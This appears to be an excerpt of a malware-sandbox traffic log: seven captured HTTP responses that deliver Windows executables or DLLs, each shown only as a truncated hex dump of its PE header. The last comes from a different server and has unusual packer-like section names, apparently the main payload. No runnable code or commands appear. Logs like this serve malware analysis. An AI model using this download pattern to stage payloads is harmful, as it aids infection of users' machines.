00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 14:06:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 14:06:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 14:06:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 14:06:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 14:06:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 14:06:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 07 Dec 2024 14:06:57 GMTContent-Type: application/octet-streamContent-Length: 3197440Last-Modified: Sat, 07 Dec 2024 13:54:07 GMTConnection: keep-aliveETag: "6754537f-30ca00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 d0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 31 00 00 04 00 00 48 22 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 bc 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 bc 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 6b 75 6f 6e 63 66 69 00 10 2a 00 00 b0 06 00 00 0e 2a 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 67 73 6d 62 69 73 72 00 10 00 00 00 c0 30 00 00 04 00 00 00 a4 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 30 00 00 22 00 00 00 a8 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
